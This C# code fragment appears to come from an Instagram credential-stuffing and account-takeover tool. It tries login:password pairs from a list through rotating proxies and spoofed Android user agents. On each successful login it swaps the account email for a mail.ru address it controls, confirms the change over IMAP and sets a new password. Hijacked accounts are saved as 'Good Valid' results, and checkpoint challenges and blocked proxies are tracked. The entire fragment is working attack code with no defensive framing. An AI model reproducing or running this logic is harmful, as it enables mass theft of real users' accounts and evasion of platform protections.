public Mail(string login, string password) { UserPass = $"{login}:{password}"; random = new Random(); r = Randomer.Next(0, 1000000); ic = new ImapClient("imap.mail.ru", login, password, AuthMethods.Login, 993, true, true); lock (LogIO.locker) logging.Invoke(LogIO.mainLog, new Log() { UserName = $"{login}:{password}", Date = DateTime.Now, LogMessage = $"{ic.IsAuthenticated} + {ic.IsConnected}", Method = "Mail.Ctor" }); Thread.Sleep(1000); }
private async void CheckInsta_DoWork(object sender, DoWorkEventArgs e) { _threadCount++; List <Dictionary <string, object> > proxyOptions = new List <Dictionary <string, object> >(); int checkPos = 0; bool threadIsWorking = true; int tryToFindCookies0 = 0; while ((!_account.AllPathChecked) && _account.CountUsers > 500) { int proxyPos = 0; for (int j = 0; j < 25; j++) { try { //if (_deleteProxy.Contains(_proxy.InstaProxies[0])) //{ // lock (_proxy.locker) // { // _proxy.InstaProxies.Remove(_proxy.InstaProxies[0]); // j--; // continue; // } //} lock (_proxy.locker) { proxyOptions.Add(_proxy.InstaProxies[0]); _proxy.InstaProxies.Remove(_proxy.InstaProxies[0]); } } catch { if (_noMoreProxy == true) { _noMoreProxy = false; lock (LogIO.locker) logging.Invoke(LogIO.mainLog, new Log() { Date = DateTime.Now, LogMessage = "Last 500 proxy!", UserName = null, Method = "Model.CheckInsta" }); UpdateProxy(); while (!_proxy.IsProxyReady) { } _noMoreProxy = true; } } } int i_position = -1; string instaLogin = null, instaPassword = null; for (int i = 0; i < 225; i++) { if (proxyOptions.Count == 0) { break; } Dictionary <string, object> valueProxy = proxyOptions[Randomer.Next(0, proxyOptions.Count)]; lock (_account.locker) if (_account.CountUsers <= 150 && !_account.AllPathChecked) { _account.SetUser(); } if (i_position != i) { try { i_position = i; tryToFindCookies0 = 0; Dictionary <string, string> tempAcc; lock (_account.locker) { tempAcc = _account.Users[Randomer.Next(0, _account.CountUsers)]; } instaLogin = tempAcc["instaLogin"]; instaPassword = tempAcc["instaPassword"]; while (_account.UsersForDeleting.Contains(instaLogin + ":" + instaPassword)) { lock (_account.locker) { tempAcc = _account.Users[Randomer.Next(0, _account.CountUsers)]; } instaLogin = tempAcc["instaLogin"]; instaPassword = tempAcc["instaPassword"]; } } catch { threadIsWorking = false; break; } } bool check = true; HttpAndroid android; try { string agent; lock (_agents.locker) agent = _agents.Agents[Randomer.Next(0, _agents.CountAgents)]; android = new HttpAndroid(instaLogin, instaPassword, valueProxy, agent); var loggedIn = await android.LogIn(); if (loggedIn == null) { if (tryToFindCookies0 == 1) { proxyPos++; checkPos = 0; lock (locker) ProxySwitched++; } else if (tryToFindCookies0 == 2) { i++; lock (_account.locker) { _account.UsersForDeleting.Add(instaLogin + ":" + instaPassword); } lock (locker) AccsSwitched++; tryToFindCookies0 = -1; lock (locker) AccsBlocked++; } i--; tryToFindCookies0++; continue; } if (loggedIn.status == "success") { ProfileResult profile = await android.GetProfile(); if (profile != null) //means that account is logined { int randomPosition = Randomer.Next(0, _accMails.CountMails); var resMail = _accMails.Mails[randomPosition]; _accMails.Mails.Remove(_accMails.Mails[randomPosition]); _accMails.MailsForDeleting.Add(resMail["mailLogin"] + ":" + resMail["mailPassword"]); string writePassword = instaPassword; DateTime time = DateTime.Now; Thread.Sleep(3000); UpdateProfileResult updateStatus = await android.UpdateProfile(profile, resMail["mailLogin"]); if (updateStatus.status == "ok") { bool confirmed = true; string path = null; try { Mail mailClient = new Mail(resMail["mailLogin"], resMail["mailPassword"]); Thread.Sleep(1000); path = mailClient.GetMailPath(time); Thread.Sleep(1000); if (_proxy.MailProxies.Count > 0) { confirmed = android.ConfirmMail(path, _proxy.MailProxies[Randomer.Next(0, _proxy.MailProxies.Count)]); } else { confirmed = android.ConfirmMail(path, valueProxy); } } catch { lock (LogIO.locker) logging.Invoke(LogIO.mainLog, new Log() { Date = DateTime.Now, LogMessage = $"Email not confirmed: {resMail["mailLogin"]}:{resMail["mailPassword"]}", Method = "Model.CheckInsta", UserName = null }); confirmed = false; } string newPass = Generator.GeneratePassword(); PasswordChangeResult passResult = await android.ChangePassword(newPass); if (passResult.status == "ok") { writePassword = newPass; } else { lock (_fileWorker.locker) _fileWorker.BadPass($"{profile.form_data.username}:{instaPassword}"); } if (confirmed) { string goodValidResult = profile.form_data.username + ":" + writePassword + ":" + resMail["mailLogin"] + ":" + resMail["mailPassword"]; AccountInfoDataSet_Success.Add(goodValidResult); lock (LogIO.locker) logging.Invoke(LogIO.easyPath, new Log() { UserName = $"{profile.form_data.username}:{writePassword}", Date = DateTime.Now, LogMessage = "Good Valid", Method = "Model.CheckInsta" }); lock (_fileWorker.locker) _fileWorker.GoodValid(goodValidResult); } else { string mailNotConfirmedResult = profile.form_data.username + ":" + writePassword + ":" + resMail["mailLogin"] + ":" + resMail["mailPassword"]; AccountInfoDataSet_Success.Add(mailNotConfirmedResult); lock (LogIO.locker) logging.Invoke(LogIO.easyPath, new Log() { UserName = $"{profile.form_data.username}:{writePassword}", Date = DateTime.Now, LogMessage = $"Mail have troubles. Account not confirmed, but mail changed", Method = "Model.CheckInsta" }); lock (_fileWorker.locker) _fileWorker.BadMail(mailNotConfirmedResult); } } else { string account = instaLogin + ":" + writePassword; var checkProfile = await android.GetProfile(); if (profile.form_data.email == checkProfile.form_data.email && !String.IsNullOrEmpty(checkProfile.form_data.phone_number)) { account += ":" + resMail["mailLogin"] + ":" + resMail["mailPassword"]; lock (_fileWorker.locker) _fileWorker.BadValid(account); } else if (profile.form_data.email == checkProfile.form_data.email) { lock (_fileWorker.locker) _fileWorker.BadMail(account); } } } } else if (loggedIn.status == "checkpoint_required")//means that account is required { string account = $"{instaLogin}:{instaPassword}"; lock (LogIO.locker) logging.Invoke(LogIO.easyPath, new Log() { UserName = null, Date = DateTime.Now, LogMessage = $"Challenge required! {account}", Method = "Model.CheckInsta" }); lock (locker) { AccountInfoDataSet_Required.Add(account); } lock (_fileWorker.locker) { _fileWorker.Checkpoint(account); } } else if (loggedIn.status == "Request Timeout") { i--; check = false; } //else //{ // lock (LogIO.locker) logging.Invoke(LogIO.mainLog, new Log() { UserName = null, Date = DateTime.Now, LogMessage = $"Bad Credentials", Method = "Model.CheckInsta" }); //} } catch (Exception ex) { if (ex.Message == "Невозможно соединиться с удаленным сервером" || ex.Message == "Unable to connect to the remote server") { Debug.WriteLine("Remote Server"); lock (LogIO.locker) logging.Invoke(LogIO.mainLog, new Log() { UserName = null, Date = DateTime.Now, LogMessage = $"Unable to connect to remote server! Switch proxy", Method = "Model.CheckInsta" }); lock (locker) ProxyBlocked++; //lock (locker) _deleteProxy.Add(valueProxy); lock (locker) ProxySwitched++; proxyOptions.Remove(valueProxy); checkPos = 0; proxyPos++; } else if (ex.Message.Contains("400") || ex.Message.Contains("403")) { lock (LogIO.locker) logging.Invoke(LogIO.mainLog, new Log() { UserName = null, Date = DateTime.Now, LogMessage = $"Exception 400! Bad request! Switch proxy", Method = "Model.CheckInsta" }); lock (locker) ProxyBlocked++; //lock (locker) _deleteProxy.Add(valueProxy); lock (locker) ProxySwitched++; proxyOptions.Remove(valueProxy); checkPos = 0; proxyPos++; } else { lock (LogIO.locker) logging.Invoke(LogIO.mainLog, new Log() { UserName = null, Date = DateTime.Now, LogMessage = $"Exception! {ex.Message} -- {ex.Source}", Method = "Model.CheckInsta" }); checkPos++; } i--; check = false; } if (check) { lock (_account.locker) { _account.UsersForDeleting.Add(instaLogin + ":" + instaPassword); } lock (locker) AccsSwitched++; } checkPos++; if (checkPos % 10 == 0) { lock (locker) ProxySwitched++; proxyPos++; } } proxyOptions.Clear(); if (!threadIsWorking) { break; } } _threadCount--; }